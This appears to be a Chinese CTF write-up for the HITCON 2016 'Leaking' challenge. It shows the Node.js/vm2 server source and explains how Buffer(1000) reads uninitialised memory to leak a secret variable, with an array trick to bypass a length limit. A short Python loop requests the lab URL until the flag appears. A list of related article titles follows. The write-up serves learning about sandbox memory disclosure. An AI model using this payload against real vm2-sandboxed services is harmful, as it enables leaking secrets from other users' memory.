[HITCON 2016]Leaking沙箱逃逸学习
[HITCON 2016]Leaking沙箱逃逸学习
node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。但是这道题比较有意思
考点是:
- node.js中VM2沙箱逃逸
- JS通过
Buffer
类处理二进制数据的缓冲区
首先给出了题目的源码
"use strict";var randomstring = require("randomstring");
var express = require("express");
var {VM
} = require("vm2");
var fs = require("fs");var app = express();
var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/* Orange is so kind so he put the flag here. But if you can guess correctly :P */eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());}
});app.listen(3000, function() {console.log("listening on port 3000!");
});
我们把关键几行代码列出来
eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
eval就是把里面的当作javascript语句来运行
var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));
然后要Get传递一个data参数,将它放在vm2创建的沙盒中运行,并且对传入的参数长度进行了限制,不超过12,这里可以用数组绕过
解题所需知识
在较早一点的node.js版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
如果使用new Buffer(size)
或其别名Buffer(size)
)创建,则对象不会填充零,而只要是调用过的变量,一定会存在内存中,所以需要使用Buffer()
来读取内存,使用data=Buffer(1000)
分配一个1000的单位为
8位字节的
buffer,因此很容易得到姿势
import requests
url = 'http://bcd330df-99ca-4b90-a33c-1cca550c2d15.node3.buuoj.cn/?data=Buffer(1000)'
response = ''
while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)if 'flag{' in response:print(response)break
[HITCON 2016]Leaking沙箱逃逸学习相关推荐
- [HITCON 2016]Leaking-nodejsVM沙箱逃逸
[HITCON 2016]Leaking 最近想学下nodejs相关的题目,所以去buu上又找了一道来做 进入题目后如上图所示,直接给出了源代码,老样子,拿出之前收藏的nodejs相关安全问题来对比着 ...
- BUUCTF [HITCON 2016] Leaking
BUUCTF [HITCON 2016] Leaking 考点: node.js中VM2沙箱逃逸 JS通过Buffer 类处理二进制数据的缓冲区 启动环境: "use strict" ...
- Hitcon 2016 Pwn赛题学习
PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...
- 利用Python渗透实现沙箱逃逸,看黑客是如何绕过网站的防护的?
让用户提交 Python 代码并在服务器上执行,是一些 OJ.量化网站重要的服务,很多 CTF 也有类似的题.为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中.沙 ...
- python沙箱逃逸小结
上周末,协会的同学去天津交流,天津大学的同学讲了一个python沙箱逃逸的案例.今天结合之前的所学和比赛经验写一个小结. 案例1 这是hackuctf 2012的一道题 1. def make_sec ...
- BUUCTF--[HITCON 2016]Leaking
进入页面后给出代码 "use strict";var randomstring = require("randomstring"); var express = ...
- 各种姿势解析-python沙箱逃逸
目录 1.预备内容 python中内置执行系统命令的模块: subprocess os commands timeit paltform pty 可执行系统命令的函数 两个魔术方法 python中可以 ...
- 2016年6月份学习总结,读书《向着光亮那方》
2016年6月份学习总结,创建日期:2016-07-03 19:46:16,有删减: 以下正文: 这月陆陆续续看了刘同的<向着光亮那方>,"谁的青春不迷茫,迷茫背后是光亮&quo ...
- 2016年5月份学习总结,读书《你的孤独,虽败犹荣》
2016年5月份学习总结,创建日期:2016-06-03 23:46:17,有删减: 回想当时,还真喜欢阅读刘同的作品,2021-01-18 20:58:55 以下正文: 这月一直在学习,现在只谈工作 ...
最新文章
- linux哪个版本支持多线程,关于Linux操作系统的叙述错误的是()A、Linux是多用户、多任务、支持多线程的操作系统B、Linux的源...
- jumpserver 节点部署_Jumpserver 部署
- 软件测试c语言代码_软件测试理论知多少?
- CSS一个元素同时使用多个类选择器(class selector)
- mysql5.0操作手册_MySQL 操作手册
- python绘制3d机械图_使用python绘制3d的图形
- 西瓜书+实战+吴恩达机器学习(二十)随机算法(拉斯维加斯方法、蒙特卡罗方法)
- 【转】HTTP响应报文与工作原理详解
- 数百GitHub私有代码库被黑客清空:不交赎金就公开源码!
- Python chardet
- 2021-2027全球与中国硅胶注塑机市场现状及未来发展趋势
- 腾讯云神笔低代码平台的申请没通过,只能等公测了
- 【vue,SpringBoot,Mybatis】 关于多条件搜索表单
- 最好用的Android反编译、重新编译和签名工具-AntiDroid V1.3 发布了~
- 某Boss招聘网站的反反爬机制详解
- outlook显示无法当问ost文件
- EPS使用-20220617更新
- 西门子S7-1500PLC与西门子V90 PN伺服通讯控制项目程序项目程序
- 小程序源码:炫酷手持滚动弹幕生成小工具微信小程序-多玩法安装简单
- linux 电源管理驱动编写
热门文章
- QString、int、char、QByteArray直接的相互转换
- 手机照片局部放大镜_iphone手机这5个功能十分出色,满满的科技感,别再白白浪费...
- jQuery 实现音乐导航案例
- 【cocos2dx】rapidjson使用方法以及中文显示的解决方法【续】
- 榆熙教育有限公司:拼多多商家应该了解的常用推广方式
- 天龙八部OL登录器编写之创建快捷方式
- SuperMap iMobile for Android培训资料
- 对于刚入行的Android程序员来说,找Android培训机构应该注意哪些方面?
- 申请公网ip后,配置光猫,路由器使用公网ip步骤
- 【转】数学专业参考书整理推荐V3.0版